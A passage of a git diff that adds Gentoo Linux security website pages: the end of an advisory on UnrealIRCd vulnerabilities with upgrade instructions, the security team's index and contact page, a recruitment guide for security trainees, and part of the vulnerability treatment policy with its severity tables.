+  <announced>June 14, 2010</announced>
+  <revised>June 14, 2010: 02</revised>
+  <bug>260806</bug>
+  <bug>323691</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/unrealircd" auto="yes" arch="*">
+      <unaffected range="ge">3.2.8.1-r1</unaffected>
+      <vulnerable range="lt">3.2.8.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UnrealIRCd is an Internet Relay Chat (IRC) daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in UnrealIRCd:
+    </p>
+    <ul>
+    <li>The vendor reported a buffer overflow in the user authorization
+    code (CVE-2009-4893).</li>
+    <li>The vendor reported that the distributed source code of UnrealIRCd
+    was compromised and altered to include a system() call that could be
+    called with arbitrary user input (CVE-2010-2075).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause the
+    execution of arbitrary commands with the privileges of the user running
+    UnrealIRCd, or a Denial of Service condition. NOTE: By default
+    UnrealIRCd on Gentoo is run with the privileges of the "unrealircd"
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UnrealIRCd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/unrealircd-3.2.8.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.unrealircd.com/txt/unrealsecadvisory.20090413.txt">UnrealIRCd Security Advisory 20090413</uri>
+    <uri link="http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt">UnrealIRCd Security Advisory 20100612</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4893">CVE-2009-4893</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075">CVE-2010-2075</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Jun 2010 21:31:31 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Jun 2010 17:00:57 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Jun 2010 17:17:46 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/index.xml b/xml/htdocs/security/en/glsa/index.xml
new file mode 100644
index 00000000..008373e6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/index.xml
@@ -0,0 +1,31 @@
+<?xml version='1.0' encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/security/en/glsa/index.xml">
+<title>Gentoo Linux Security Advisories</title>
+
+<author title="Author">
+  <mail link="security@gentoo.org">Security Team</mail>
+</author>
+
+<abstract>
+This index is automatically generated from XML source. Please contact the
+Gentoo Linux Security Team (security@gentoo.org) for related inquiries.
+</abstract>
+
+<license/>
+<version>0.7</version>
+<date>every 60 minutes</date>
+
+<chapter>
+<title>GLSA Chronological Index</title>
+<section>
+<body>
+
+<glsaindex/>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/en/index.xml b/xml/htdocs/security/en/index.xml
new file mode 100644
index 00000000..5c3802d9
--- /dev/null
+++ b/xml/htdocs/security/en/index.xml
@@ -0,0 +1,227 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/en/index.xml">
+<title>Gentoo Linux Security</title>
+<author title="Author">
+	<mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Author">
+	<mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Author">
+	<mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<abstract>
+This page is the entry point for all Gentoo Linux security concerns.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.3</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Security in Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Security is a primary focus of Gentoo Linux and ensuring the confidentiality
+and security of our users machines is of utmost importance to us. The
+<uri link="/proj/en/security/">Gentoo Linux Security Project</uri>
+is tasked with providing timely information about security vulnerabilities
+in Gentoo Linux, along with patches to secure those vulnerabilities. We work
+directly with vendors, end users and other OSS projects to ensure all
+security incidents are responded to quickly and professionally.
+</p>
+
+<p>
+You can find a document describing the policy the security team follows to
+treat the vulnerabilities found in the Gentoo Linux distribution on the
+<uri link="/security/en/vulnerability-policy.xml">Vulnerability Treatment
+Policy</uri> page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installing a secure Gentoo system</title>
+<body>
+
+<p>
+The <uri link="/doc/en/security/">Gentoo Security Handbook</uri>
+gives information and tips for building a secure system and hardening
+existing systems.
+</p>
+
+</body>
+</section>
+<section>
+<title>Keeping your Gentoo system secure</title>
+<body>
+
+<p>
+To stay up-to-date with the security fixes you should subscribe to receive
+GLSAs and apply GLSA instructions whenever you have an affected package
+installed. Alternatively, syncing your portage tree and upgrading every package
+should also keep you up-to-date security-wise.
+</p>
+
+<p>
+Integration of security-only updates in Portage tools is underway. In the mean
+time, you can try our experimental <c>glsa-check</c> tool (part of the
+<e>gentoolkit</e> package) to check if a specific GLSA applies to your system
+(<c>-p</c> option), list all GLSAs with applied/affected/unaffected status
+(<c>-l</c> option) or apply a given GLSA to your system (<c>-f</c> option).
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Gentoo Linux Security Announcements (GLSAs)</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux Security Announcements are notifications that we send out to
+the community to inform them of security vulnerabilities related to Gentoo
+Linux or the packages contained in our portage repository.
+</p>
+
+</body>
+</section>
+<section>
+<title>Recent Advisories</title>
+<body>
+
+<glsa-latest/>
+
+<p>For a full list of all published GLSAs, please see our
+<uri link="/security/en/glsa/index.xml">GLSA index page</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>How to receive GLSAs</title>
+<body>
+
+<p>
+GLSA announcements are sent to the
+<uri link="/main/en/lists.xml">gentoo-announce@gentoo.org mailing-list</uri>,
+and as a RDF feed available at
+<uri link="/rdf/en/glsa-index.rdf">http://www.gentoo.org/rdf/en/glsa-index.rdf</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Security Team contact information</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux takes security vulnerability reports very seriously. 
+Please file new vulnerability reports on
+<uri link="https://bugs.gentoo.org">Gentoo Bugzilla</uri>
+and assign them to the <e>Gentoo Security</e> product and
+<e>Vulnerabilities</e> component. Click
+<uri link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=Vulnerabilities">here</uri>
+to directly submit a new security vulnerability.
+The Gentoo Linux Security Team will ensure all security-related
+bug reports are responded to in a timely fashion.
+</p>
+
+<p>
+If you find errors or omissions in published GLSAs, you should also file a
+bug in <uri link="https://bugs.gentoo.org">Gentoo Bugzilla</uri> in the
+<e>Gentoo Security</e> product, but with <e>GLSA Errors</e> component. Click 
+<uri link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=GLSA%20Errors">here</uri>
+to directly submit a new GLSA bug.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Confidential contacts</title>
+<body>
+
+<p>
+You have two options to submit non-public vulnerabilities to the Gentoo Linux
+Security Team. You may submit a bug in
+<uri link="https://bugs.gentoo.org/">Gentoo Bugzilla</uri>
+using the <e>New-Expert</e> action, or the <e>Enter a new bug report (advanced)</e> link, and check the
+<e>Gentoo Security</e> checkbox in the <e>Only users in all of the selected
+groups can view this bug</e> section. You may also contact directly using
+encrypted mail one of the following security contacts:
+</p>
+
+<table>
+<tr>
+  <th>Name</th>
+  <th>Responsability</th>
+  <th>Email</th>
+  <th>GPG keyID (click to retrieve public key)</th>
+</tr>
+<tr>
+  <ti>Robert Buchholz</ti>
+  <ti>Operational co-manager</ti>
+  <ti><mail link="rbu@gentoo.org">rbu@gentoo.org</mail></ti>
+  <ti><uri link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0xCE7E8339">0xCE7E8339</uri></ti>
+</tr>
+<tr>
+  <ti>Pierre-Yves Rofes</ti>
+  <ti>Operational co-manager</ti>
+  <ti><mail link="py@gentoo.org">py@gentoo.org</mail></ti>
+  <ti><uri link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0x320A2398">0x320A2398</uri></ti>
+</tr>
+</table>
+<note>You can see a full list of Gentoo developers, including their GPG key ID on our <uri link="/proj/en/devrel/roll-call/userinfo.xml">list of active developers</uri></note>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<title>Security pages</title>
+<body>
+<ul>
+<li><uri link="/security/en/glsa/index.xml">GLSA index page</uri>
+    -- Full list of all published GLSAs</li>
+<li><uri link="/rdf/en/glsa-index.rdf">GLSA RDF feed</uri>
+    -- GLSA RDF live feed. You can limit the number of GLSAs shown by appending "?num=n" to the URL, where "n" needs to be replaced
+with the number of entries you want. For example 
+<uri link="http://www.gentoo.org/rdf/en/glsa-index.rdf?num=20">http://www.gentoo.org/rdf/en/glsa-index.rdf?num=20</uri> will list 
+the last 20 GLSAs.</li>
+<li><uri link="/security/en/vulnerability-policy.xml">Vulnerability Treatment Policy</uri>
+    -- The official policy the Security Team follows</li>
+<li><uri link="/proj/en/security/">Gentoo Linux Security Project</uri>
+    -- The security project page</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Links</title>
+<body>
+<ul>
+<li><uri link="/doc/en/security/">Gentoo Security Handbook</uri>
+    -- Step-by-step guide for hardening Gentoo Linux</li>
+<li><uri link="/proj/en/hardened/">Gentoo Hardened Project</uri>
+    -- Bringing advanced security to Gentoo Linux</li>
+<li><uri link="/proj/en/server/">Gentoo Server Project</uri>
+    -- Focusing on server-specific issues, such as security and stability</li>
+<li><uri link="/proj/en/devrel/roll-call/userinfo.xml">Active Developer List</uri>
+    -- Active Developer List including GPG keys which can be used to verify GLSAs</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/en/padawans.xml b/xml/htdocs/security/en/padawans.xml
new file mode 100644
index 00000000..e716da46
--- /dev/null
+++ b/xml/htdocs/security/en/padawans.xml
@@ -0,0 +1,293 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/en/padawans.xml">
+<title>Security Padawans process and status</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Author">
+  <mail link="dercorny@gentoo.org">Stefan Cornelius</mail>
+</author>
+<author title="Author">
+  <mail link="falco@gentoo.org">Raphael Marichez</mail>
+</author>
+<author title="Author">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+
+<abstract>
+This document contains procedures applying to the security team
+recruitment process and current recruit status.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.3.8</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Security recruits</title>
+<section>
+<title>Padawans</title>
+<body>
+
+<p>
+The recruitment process for security developers is somewhat different from
+the mainstream recruitment process. Knowledge of Gentoo specifics is not
+as important as it is for other developers, since they don't need to have commit
+rights to the Portage tree. On the other hand, they must have a good
+security background, good knowledge of written English and must progressively
+be given more responsibility.</p>
+<p>
+The whole recruitment process should take between 2 and 3 months, depending on
+your personal skills and the amount of time you can invest. While we are
+talking about time: most of the tasks you need to do will take less then 10 minutes,
+but you should be able to react on problems with a low latency. Thus, constant
+dedication is more important than endless hours of spare time.
+
+Security recruits in training will be called <b>padawans</b> throughout
+this document.
+</p>
+
+</body>
+</section>
+<section>
+<title>Current padawans status</title>
+<body>
+
+<table>
+<tr>
+<th>Padawan name</th>
+<th>Username</th>
+<th>Rank</th>
+<th>Mentor</th>
+</tr>
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>NeilK</ti>
+<ti>mu-b</ti>
+<ti>Scout</ti>
+</tr>
+-->
+<tr>
+<ti>Tomás Touceda</ti>
+<ti>chiiph</ti>
+<ti>Apprentice</ti>
+<ti>keytoaster</ti>
+</tr>
+
+<tr>
+<ti>Tony Vroon</ti>
+<ti>Chainsaw</ti>
+<ti>Apprentice</ti>
+<ti>a3li</ti>
+</tr>
+<!-- inactive, rbu 2009-04-14<tr>
+<ti>Emanuele Gentili</ti>
+<ti>emgent</ti>
+<ti>Scout</ti>
+<ti>none yet</ti>
+</tr>-->
+<!-- inactive, a3li 2009-11-06 <tr>
+<ti>Lars Hartmann</ti>
+<ti>psychoschlumpf</ti>
+<ti>Apprentice</ti>
+<ti>none yet</ti>
+</tr>-->
+<tr>
+<ti>Matti Bickel</ti>
+<ti>mabi</ti>
+<ti>Apprentice</ti>
+<ti>none yet</ti>
+</tr>
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>Jule Slootbeek</ti>
+<ti>dizzutch</ti>
+<ti>Apprentice</ti>
+</tr>
+-->
+<!-- inactive (vorlon 2008-07-04)
+<tr>
+<ti>Adir Abraham</ti>
+<ti>adir</ti>
+<ti>Apprentice</ti>
+</tr>
+-->
+</table>
+
+<note>
+Developers and senior developers appear on the
+<uri link="/proj/en/security/index.xml">Security project page</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Recruitment steps</title>
+<section>
+<body>
+
+<p>
+To become a padawan, you'll have to submit an application with your
+background and qualifications to 
+<mail link="security@gentoo.org">security@gentoo.org</mail>.
+You'll have to join us on IRC on the #gentoo-security channel to
+get a feel of how we work.
+You can read the 
+<uri link="/security/en/coordinator_guide.xml">GLSA Coordinator Guide</uri>
+and if you're still interested in the job, you can start as a Scout.</p>
+
+</body>
+</section>
+<section>
+<title>Scout</title>
+<body>
+
+<p>
+First step in joining the team is to be a scout. You will have to
+follow major security lists and websites (your choice) and submit bugs
+for things that are not yet in the
+<uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">current Security bugs</uri>.
+Search for duplicates in resolved bugs before submitting! We will assign
+a senior developer as 'Mentor' to you. He will show you around and answer
+all your questions (but don't hesitate to contact any other senior
+developer for help). It's also wise to add security@gentoo.org to your
+list of watched users. To do this, open the preferences of your bugzilla account,
+go to "Email Preferences" and add security@gentoo.org into the editbox at the
+bottom. Now you will automatically receive every bugmail of security@gentoo.org,
+except for the restricted ones. This will help you to stay up to date.</p>
+<p>If you managed to file a new security bug, you are also welcome to try
+to resolve it (meaning, CCing the maintainer, setting and updating the status
+whiteboard and all the other things as described in the GLSA coordinator guide).
+Unfortunately, this only works for bugs you filed. You will be allowed to edit and move
+other bugs around when you are developer on probation.</p>
+<p>Finding security bugs can be very difficult and boring, but try to go through the
+slave labor. There are several ways to make your life easier. Some primary channels have
+a rather low signal-to-noise ratio like Full-Disclosure, but there are also
+other <uri link="http://oss-security.openwall.org/wiki/mailing-lists">mailing
+lists</uri> like oss-security that are more focussed for distribution vendors.
+You might also be interested in secondary channels, for instance, <uri
+link="https://secunia.com/advisories/">Secunia Advisories</uri> can be
+subscribed to via a mailing list, or <uri
+link="http://www.securityfocus.com/bid">BugTraq BIDs</uri> and <uri
+link="http://cve.mitre.org/">CVE identifiers</uri> can be followed via
+RSS feeds. You can find tools to easily handle newly assigned CVE identifiers, and
+perform other routine tasks in the <uri
+link="http://overlays.gentoo.org/proj/security/timeline">Security SVN</uri>.
+Please consult the README provided there.</p>
+<p>Furthermore, you can also try to find other tasks that interest you, for example trying
+to get in touch with developers that are late with ebuilding and/or stabling or verify
+a vulnerability where it's not sure whether or not Gentoo is affected. You could also try
+to ask your mentor for a task.</p>
+<ul>
+<li>You will need: A 
+<uri link="https://bugs.gentoo.org/createaccount.cgi">Gentoo bugzilla
+account</uri></li>
+<li>We will provide you: Nothing</li>
+<li>Estimated time until promotion: between 2 weeks and a month, but depends on your
+personal effort and skills.</li>
+</ul>
+<note>
+Do you know how to look up a bug by CVE identifier in the Bug trackers of the
+other distributions? If not, try to find it out or ask your mentor.
+</note>
+
+</body>
+</section>
+<section>
+<title>Apprentice</title>
+<body>
+
+<p>
+If you do a good job as a scout, you'll be invited to be an apprentice. We will add you
+to a secret tool called the 'GLSAMaker' and you will be asked to draft, comment and 
+review security advisories. You are also responsible to fix advisories you drafted as
+fast as possible. Besides that, you should try to continue your scouting work. Drafting
+GLSAs is usually much more relaxed than hunting bugs, so you will hopefully start to enjoy
+your work at this point.
+</p>
+
+<ul>
+<li>You will need: To learn the
+  <uri link="/security/en/vulnerability-policy.xml">Security Policy</uri>
+  and the
+  <uri link="/security/en/coordinator_guide.xml">GLSA Coordinator Guide</uri>
+  by heart</li>
+<li>We will provide you: A GLSAMaker account</li>
+<li>Estimated time until promotion: until we are confident that you are able to
+draft quality advisories. That should take roughly a month if you are good.</li>
+</ul>
+<note>
+Have you read more than one page on the <uri
+link="http://oss-security.openwall.org/wiki/">oss-security wiki</uri> yet?
+</note>
+
+</body>
+</section>
+<section>
+<title>Developer (on probation)</title>
+<body>
+
+<p>
+Remarkable GLSAs and dedication will bring you to the next step. We will open
+a recruitment bug for you and you will get the magic powers to edit and move bugs
+around that weren't filed by you. A 30 day trial period will start and you will
+have to answer the staffer-quiz correctly in order to become a full developer.
+During the probation period, you should get used to your new responsibilities, while 
+demonstrating that you are ready to handle them.
+</p>
+
+<ul>
+<li>You will need: to provide everything required to be a Gentoo
+    developer</li>
+<li>We will provide you: A Gentoo developer account, security@gentoo.org
+    membership and improved Bugzilla rights</li>
+<li>Estimated time until promotion: 30 days.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Developer</title>
+<body>
+
+<p>
+At the end of your probation period, you'll be made a full GLSA Coordinator
+and you will be able to commit and send your own GLSAs. Glory and bounces
+will come to you.
+</p>
+
+<ul>
+<li>You will need: Tears and sweat</li>
+<li>We will provide you: GLSA commit rights, gentoo-announce
+    posting rights, www_glsamaker group membership, padawan approval
+    power</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Senior Security Developer</title>
+<body>
+
+<p>
+To reach the holy grail of the padawans path and have almost infinite powers,
+you'll have to pass through classic developer quizzes to gain portage CVS
+commit rights. You'll have to prove you don't have a life outside
+#gentoo-security. Then you will be granted masking powers.
+</p>
+
+<ul>
+<li>You will need: Successful Gentoo developer quizzes</li>
+<li>We will provide you: Portage commit rights for package masking</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/en/vulnerability-policy.xml b/xml/htdocs/security/en/vulnerability-policy.xml
new file mode 100644
index 00000000..e4ba9ebb
--- /dev/null
+++ b/xml/htdocs/security/en/vulnerability-policy.xml
@@ -0,0 +1,714 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/en/vulnerability-policy.xml">
+<title>Gentoo Linux Vulnerability Treatment Policy</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Author">
+  <mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail>
+</author>
+<author title="Author">
+  <mail link="vorlon@gentoo.org">Matthias Geerdsen</mail>
+</author>
+<author title="Author">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+
+<abstract>
+This document describes the policy used in Gentoo Linux to treat
+vulnerabilities discovered in the packages made available to our
+users.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.2.7</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Scope</title>
+<section>
+<title>Supported architectures</title>
+<body>
+
+<p>
+Gentoo Linux is offered on many different architectures. Some of these
+architectures have more developers than others and, as such, are able to
+respond to new security vulnerabilities more quickly.  While the ultimate goal
+of the Gentoo Security project is to ensure that all architectures receive
+security fixes at the same time, we must also balance that against releasing
+security fixes and GLSAs as quickly as possible so that the majority of our
+users are informed and protected.
+</p>
+
+<p>
+For this reason, the security team separates Gentoo architectures into two
+groups, <b>supported</b> and <b>unsupported</b>:
+</p>
+
+<ul>
+<li><b>Supported:</b> these architectures must have a stable fix committed
+before the GLSA can be released</li>
+<li><b>Unsupported:</b> these architectures will be notified of new
+vulnerabilities (cc on relevant bugs), however, we will not wait for a stable
+fix on these arches before issuing the GLSA and closing the bug</li>
+</ul>
+
+<p>
+Here is the list of currently supported architectures:
+</p>
+
+<table>
+<tr>
+  <th>Supported architectures (in alphabetical order)</th>
+</tr>
+<tr>
+  <ti>alpha</ti>
+</tr>
+<tr>
+  <ti>amd64</ti>
+</tr>
+<tr>
+  <ti>hppa</ti>
+</tr>
+<tr>
+  <ti>ppc</ti>
+</tr>
+<tr>
+  <ti>ppc64</ti>
+</tr>
+<tr>
+  <ti>sparc</ti>
+</tr>
+<tr>
+  <ti>x86</ti>
+</tr>
+</table>
+  
+<p>
+All architectures are welcome and encouraged to become a supported architecture. There
+are two straightforward criteria that need to be met in order to be officially
+supported by the Gentoo Security project:
+</p>
+
+<ul>
+<li>Appoint a developer who is the primary point of contact for security
+issues (Architecture Security Liaison) related to your arch: This person is
+responsible for ensuring that security bugs are adequately remediated on
+their particular architecture</li>
+<li>Agree to adhere to the published timelines for testing and
+marking packages as stable</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Release Engineering</title>
+<body>
+<p>
+The Release Engineering ("releng") project appoints a developer to be the
+primary point of contact for security issues.
+</p>
+<p>
+Release Engineering informs the Gentoo Security Project when a first tree 
+snapshot is taken for media releases. Beginning with the first snapshot until 
+the official media release ("release preparation period"), Release Engineering 
+(the appointed security liaison in case of confidential issues) should be cc'd 
+on each security bug entering the stabilization phase.
+</p>
+</body>
+</section>
+<section>
+<title>Kernels</title>
+<body>
+
+<p>
+Currently kernels are not covered by the GLSA release process.
+Vulnerabilities must still be reported and will be fixed, but 
+<e>no GLSA will be issued</e> when everything is solved.
+</p>
+
+<note>
+This policy should be changed when new tools are added to cover
+security vulnerabilities affecting the different kernel sources.
+</note>
+
+</body>
+</section>
+<section>
+<title>Non-stable packages</title>
+<body>
+
+<p>
+Sometimes a vulnerability is found in a package that is not part of the stable
+trees. This is the case when the vulnerability is a security regression in a
+newer (~ARCH) ebuild, but the older (stable) packages are not affected, or when
+the package has never had any stable ebuilds in the tree.
+In this case the vulnerability must still be reported and will be fixed, but 
+<e>no GLSA will be issued</e> when everything is solved.
+</p>
+
+<note>
+This policy might be changed when our tools support more complex
+upgrade paths and if a sufficient number of GLSA coordinators join
+the security team.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Vulnerability feed</title>
+<section>
+<title>Published vulnerabilities</title>
+<body>
+
+<p>
+Each vulnerability should initially be entered as a
+<uri link="https://bugs.gentoo.org">Bugzilla</uri> entry with
+product "Gentoo Security" and component "Vulnerabilities" (assigned to
+<mail link="security@gentoo.org">security@gentoo.org</mail>).
+Major security lists should have official scouts assigned to them which
+should ensure that all vulnerabilities announced on these lists get a
+security bugzilla entry.
+</p>
+
+</body>
+</section>
+<section>
+<title>Confidential vulnerabilities</title>
+<body>
+
+<p>
+Confidential vulnerabilities (for example coming from developer's direct
+communication or restricted vendor-sec lists) should follow a specific
+procedure. They should not appear as a public
+bugzilla entry, but only in security-restricted media like a private
+bugzilla section or the GLSAMaker tool. They should get
+corrected using private communication channels between the GLSA coordinator
+and the package maintainer.
+</p>
+
+<note>
+Communication for confidential vulnerabilities should be properly encrypted.
+They should be sent to specific security team members and encrypted with
+their GPG key. The list of the security team members is available at 
+<uri link="http://security.gentoo.org">security.gentoo.org</uri>, their key
+IDs can be looked up on the
+<uri link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">Gentoo
+Linux Developers List</uri>
+and their keys can be retrieved from the
+<uri link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri> keyserver.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dispatch</title>
+<section>
+<title>Severity level</title>
+<body>
+
+<p>
+In order to seed the appropriate reaction times and escalation procedures, we
+need to assign a severity level to each vulnerability. This severity
+level must be based on how widespread the affected software is amongst Gentoo
+users and depth of the vulnerability.
+</p>
+
+<p>
+You can use the following two tables to help you assign the severity level:
+</p>
+
+<table>
+<tr>
+  <th>How widespread the package is</th>
+  <th>Configurations affected</th>
+  <th> </th>
+</tr>
+<tr>
+  <ti>System package</ti>
+  <ti>Default or specific</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti>Common package (supposed present on at least 1/20 Gentoo
+  installs)</ti>
+  <ti>Default</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti></ti>
+  <ti>Specific</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti>Marginal software (supposed present on less than 1/20 Gentoo
+  installs)</ti>
+  <ti>Default</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti> </ti>
+  <ti>Specific</ti>
+  <ti>C</ti>
+</tr>
+<tr>
+  <ti>Package that never had an affected version stable</ti>
+  <ti>Default or Specific</ti>
+  <ti>~</ti>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Evaluate the vulnerability type</th>
+  <th> </th>
+  <th>Corresponding GLSA severity</th>
+</tr>
+<tr>
+  <ti>Complete remote system compromise: remote execution of arbitrary code
+  with root privileges</ti>
+  <ti>0</ti>
+  <ti>high</ti>
+</tr>
+<tr>
+  <ti>Remote active compromise: direct remote execution of arbitrary code
+  with reduced or user rights on a server</ti>
+  <ti>1</ti>
+  <ti>high</ti>
+</tr>
+<tr>
+  <ti>Local privilege escalation: flaw allowing root compromise when you
+  have local access</ti>
+  <ti>1</ti>
+  <ti>high</ti>
+</tr>
+<tr>
+  <ti>Remote passive compromise: remote execution
+  of arbitrary code by enticing a user to visit a malicious server or using
+  malicious data</ti>
+  <ti>2</ti>
+  <ti>normal</ti>
+</tr>
+<tr>
+  <ti>Global service compromise: Denial of Service, passwords, full
+  database leaks, data loss (symlink attacks)</ti>
+  <ti>3</ti>
+  <ti>normal</ti>
+</tr>
+<tr>
+  <ti>Others: Cross-Site Scripting, information leak...</ti>
+  <ti>4</ti>
+  <ti>low</ti>
+</tr>
+</table>
+
+<p>
+Here is the table of the resulting severity levels. They should be set
+to the bugzilla severity level of the same name:
+</p>
+
+<table>
+<tr>
+  <th>Severity level</th>
+  <th>Corresponding evaluations</th>
+  <th>Target delay</th>
+  <th>GLSA</th>
+</tr>
+<tr>
+  <ti>Blocker</ti>
+  <ti>A0, B0</ti>
+  <ti>1 day</ti>
+  <ti>yes</ti>
+</tr>
+<tr>
+  <ti>Critical</ti>
+  <ti>A1, C0</ti>
+  <ti>3 days</ti>
+  <ti>yes</ti>
+</tr>
+<tr>
+  <ti>Major</ti>
+  <ti>A2, B1, C1</ti>
+  <ti>5 days</ti>
+  <ti>yes</ti>
+</tr>
+<tr>
+  <ti>Normal</ti>
+  <ti>A3, B2, C2</ti>
+  <ti>10 days</ti>
+  <ti>yes</ti>
+</tr>
+<tr>
+  <ti>Minor</ti>
+  <ti>A4, B3, B4, C3</ti>
+  <ti>20 days</ti>
+  <ti>?</ti>
+</tr>
+<tr>
+  <ti>Trivial</ti>
+  <ti>C4, ~0, ~1, ~2, ~3, ~4</ti>
+  <ti>40 days</ti>
+  <ti>no</ti>
+</tr>
+</table>
+
+<note>
+The delay indicated in this table is what we want to be the maximum time
+between the release of a fix by the upstream package developer and the release
+of a stable ebuild and corresponding GLSA.
+</note>
+
+</body>
+</section>
+<section>
+<title>Security Bug Wrangler role</title>
+<body>
+
+<p>
+Someone should assume the responsibility of security bug
+wrangler and do the following tasks as soon as a new vulnerability
+enters <uri link="https://bugs.gentoo.org">Bugzilla</uri>:
+</p>
+
+<ul>
+<li>checking for duplicates: if the bug describes a vulnerability already
+    reported it should be resolved as DUPLICATE</li>
+<li>checking for wrong component: if the bug is not about a vulnerability
+    its component should be changed appropriately</li>
+<li>checking if the bug is really a vulnerability and that it affects a
+    Gentoo Linux package, otherwise resolve the bug as INVALID</li>
+</ul>
+
+<p>
+During this phase it may be necessary to ask the reporter for details. The bug
+remains with status NEW as long as necessary. When (if) the bug passes these
+sanity tests, it should be accepted and the bug wrangler should do the
+following:
+</p>
+
+<ul>
+<li>rename the bug so that it includes category/package-name at start
+    (for example: "net-mail/clamav: DoS using RAR files")</li>
+<li>evaluate and assign a severity level (see above)</li>
+<li>set the status to ASSIGNED</li>
